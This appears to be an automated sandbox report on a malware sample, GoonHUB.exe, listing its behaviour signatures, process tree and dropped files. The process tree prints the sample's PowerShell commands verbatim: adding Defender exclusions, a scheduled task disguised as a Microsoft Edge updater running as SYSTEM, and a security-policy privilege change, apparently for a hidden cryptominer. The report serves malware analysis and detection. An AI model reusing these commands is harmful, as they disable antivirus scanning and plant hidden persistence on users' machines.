Overview

overview

8

Static

static

3

GoonHUB.exe

windows10-2004-x64

8

GoonHUB.exe

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    50s
  • max time network
    49s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/08/2026, 18:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    GoonHUB.exe
  • Size 27.0MB
  • Sample260801-wsf2faeg26
  • SHA256 d26e929339b80f1b00775958443377007c40071e7dbc18b39e255f412548adff
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasionexecutionpersistence

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Executes dropped EXE 3 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 42 IoCs
  • Suspicious use of SendNotifyMessage 42 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe
    "C:\Users\Admin\AppData\Local\Temp\GoonHUB.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2324
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1480
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /end /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
      2⤵
        PID:4684
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c taskkill /f /t /im microsoftedgeupdate.exe
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1460
        • C:\Windows\system32\taskkill.exe
          taskkill /f /t /im microsoftedgeupdate.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2900
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "$Action = New-ScheduledTaskAction -Execute '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe"' -Argument '--watcher' -WorkingDirectory '"C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore"'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 3650); $Principal = New-ScheduledTaskPrincipal -UserId 'SYSTEM' -LogonType ServiceAccount -RunLevel Highest; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew; $Task = New-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings; $Task.Author = 'Microsoft Corporation'; Register-ScheduledTask -TaskName '\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore' -InputObject $Task -Force"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2988
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /run /tn "\Microsoft\Windows\Customer Experience Improvement Program\MicrosoftEdgeUpdateTaskMachineCore"
        2⤵
          PID:3788
        • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
          "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --monitor
          2⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:816
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "$cfg = \"$env:temp\secpol.cfg\"; secedit /export /cfg $cfg /quiet; $c = Get-Content $cfg; $hasPriv = $false; $newC = @(); foreach ($l in $c) { if ($l -match '^SeLockMemoryPrivilege') { $hasPriv = $true; if ($l -notmatch '\*S-1-5-32-544') { $l = $l + ',*S-1-5-32-544' } }; $newC += $l }; if (-not $hasPriv) { for ($i=0; $i -lt $newC.Length; $i++) { if ($newC[$i] -match '^\[Privilege Rights\]') { $newC = $newC[0..$i] + 'SeLockMemoryPrivilege = *S-1-5-32-544' + $newC[($i+1)..($newC.Length-1)]; break } } }; Set-Content -Path $cfg -Value $newC; secedit /configure /db $env:windir\security\database\secedit.sdb /cfg $cfg /areas USER_RIGHTS /quiet"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1832
          • C:\Windows\system32\SecEdit.exe
            "C:\Windows\system32\SecEdit.exe" /export /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /quiet
            3⤵
              PID:2476
            • C:\Windows\system32\SecEdit.exe
              "C:\Windows\system32\SecEdit.exe" /configure /db C:\Windows\security\database\secedit.sdb /cfg C:\Users\Admin\AppData\Local\Temp\secpol.cfg /areas USER_RIGHTS /quiet
              3⤵
                PID:1740
          • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
            C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe --watcher
            1⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:204
            • C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
              "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe" --mine
              2⤵
              • Executes dropped EXE
              PID:4656
          • C:\Windows\system32\taskmgr.exe
            "C:\Windows\system32\taskmgr.exe" /0
            1⤵
            • Checks SCSI registry key(s)
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:4212

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                MicrosoftEdgeUpdate.exe
                • Path C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCore\MicrosoftEdgeUpdate.exe
                • Size 27.0MB
                • SHA256 d26e929339b80f1b00775958443377007c40071e7dbc18b39e255f412548adff
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                powershell.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 91a76a2c6c73116293fb7e5bfb12b00ef8128a04fbbb44153f4fd63794b2b8ae
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 df3073e16548842e030c83e977c76599c4976e38d92ce3c2e8ebcdaf0438e543
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                __PSScriptPolicyTest_dc3zzka2.j4b.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dc3zzka2.j4b.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                secpol.cfg
                • Path C:\Users\Admin\AppData\Local\Temp\secpol.cfg
                • Size 16KB
                • SHA256 621c13968a16a9280f14cea9e2577678af7129f6899615defebc08782eb8b756
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                memory/2324-0-0x000002176F2C0000-0x000002176F2D0000-memory.dmp
                Download

                memory/2324-8-0x0000021771710000-0x0000021771732000-memory.dmp
                Download

                memory/4212-83-0x00000233FA250000-0x00000233FA251000-memory.dmp
                Download

                memory/4212-72-0x00000233FA250000-0x00000233FA251000-memory.dmp
                Download

                memory/4212-74-0x00000233FA250000-0x00000233FA251000-memory.dmp
                Download

                memory/4212-73-0x00000233FA250000-0x00000233FA251000-memory.dmp
                Download

                memory/4212-84-0x00000233FA250000-0x00000233FA251000-memory.dmp
                Download

                memory/4212-82-0x00000233FA250000-0x00000233FA251000-memory.dmp
                Download

                memory/4212-81-0x00000233FA250000-0x00000233FA251000-memory.dmp
                Download

                memory/4212-80-0x00000233FA250000-0x00000233FA251000-memory.dmp
                Download

                memory/4212-79-0x00000233FA250000-0x00000233FA251000-memory.dmp
                Download

                memory/4212-78-0x00000233FA250000-0x00000233FA251000-memory.dmp
                Download

                memory/4656-70-0x0000021DFF650000-0x0000021DFF664000-memory.dmp
                Download

                memory/4656-71-0x0000021DFF650000-0x0000021DFF664000-memory.dmp
                Download